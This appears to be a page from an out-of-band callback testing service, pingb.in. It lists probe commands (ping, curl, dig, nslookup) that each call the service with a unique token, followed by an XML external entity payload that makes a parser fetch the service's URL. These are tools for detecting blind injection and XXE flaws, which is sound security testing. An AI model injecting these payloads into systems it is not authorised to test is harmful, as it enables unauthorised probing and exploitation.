$ ping -c1 -p 005f07994c6b5f19a4e06c0643f74400 pingb.in
 

$ curl pingb.in/p/5f07994c6b5f19a4e06c0643f744
 

$ dig 5f07994c6b5f19a4e06c0643f744 @pingb.in
 

$ dig 5f07994c6b5f19a4e06c0643f744.ns.pingb.in
 

C:\> nslookup 5f07994c6b5f19a4e06c0643f744 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/5f07994c6b5f19a4e06c0643f744">]>
    <foo>&xxe;</foo>